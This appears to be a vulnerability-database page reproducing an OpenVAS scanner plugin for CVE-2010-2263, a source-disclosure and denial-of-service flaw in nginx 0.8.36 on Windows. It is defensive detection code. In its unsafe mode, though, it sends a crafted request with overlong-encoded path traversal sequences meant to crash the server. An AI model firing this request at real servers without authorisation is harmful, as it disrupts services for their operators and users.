Lucene search

K
openvasThis script is Copyright (C) 2010 Greenbone Networks GmbHOPENVAS:100676
HistoryJun 14, 2010 - 12:00 a.m.

nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities

2010-06-1400:00:00
This script is Copyright (C) 2010 Greenbone Networks GmbH
plugins.openvas.org
26

0.027 Low

EPSS

Percentile

90.6%

nginx is prone to remote source-code-disclosure and denial of service
vulnerabilities.

An attacker can exploit these vulnerabilities to view the source code
of files in the context of the server process or cause denial-of-
service conditions.

nginx 0.8.36 for Windows is vulnerable; other versions may also
be affected.

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_nginx_40760.nasl 7552 2017-10-24 13:00:36Z cfischer $
#
# nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities
#
# Authors:
# Michael Meyer <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "nginx is prone to remote source-code-disclosure and denial of service
vulnerabilities.

An attacker can exploit these vulnerabilities to view the source code
of files in the context of the server process or cause denial-of-
service conditions.

nginx 0.8.36 for Windows is vulnerable; other versions may also
be affected.";


if (description)
{
 script_id(100676);
 script_version("$Revision: 7552 $");
 script_tag(name:"last_modification", value:"$Date: 2017-10-24 15:00:36 +0200 (Tue, 24 Oct 2017) $");
 script_tag(name:"creation_date", value:"2010-06-14 14:19:59 +0200 (Mon, 14 Jun 2010)");
 script_tag(name:"cvss_base", value:"5.0");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_cve_id("CVE-2010-2263");
 script_bugtraq_id(40760);

 script_name("nginx Remote Source Code Disclosure and Denial of Service Vulnerabilities");

 script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/40760");
 script_xref(name : "URL" , value : "http://nginx.org/");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_MIXED_ATTACK);
 script_family("Denial of Service");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("find_service.nasl", "http_version.nasl", "os_detection.nasl", "nginx_detect.nasl");
 script_require_ports("Services/www", 80);
 script_mandatory_keys("nginx/installed", "Host/runs_windows");
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
include("version_func.inc");

port = get_http_port(default:8000);

banner = get_http_banner(port:port);
if(!banner || "nginx" >!< banner)exit(0);

if(safe_checks()) {

  version = eregmatch(pattern:"nginx/([0-9.]+)", string:banner);
  if(isnull(version[1]))exit(0);

  if(version_is_equal(version: version[1], test_version:"0.8.36")) {
    security_message(port:port);
    exit(0); 
  }  


} else {

  if(http_is_dead(port:port))exit(0);

  req = string("GET /%c0.%c0./%c0.%c0./%c0.%c0./%c0.%c0./%20 HTTP/1.1\r\nHost: ",get_host_name(),"\r\n\r\n");

  soc = http_open_socket(port);
  if(!soc)exit(0);

  send(socket: soc, data: req);

  if(http_is_dead(port:port)) {
    security_message(port:port);
    exit(0);
  }  
  http_close_socket(soc);
}  

exit(0);

0.027 Low

EPSS

Percentile

90.6%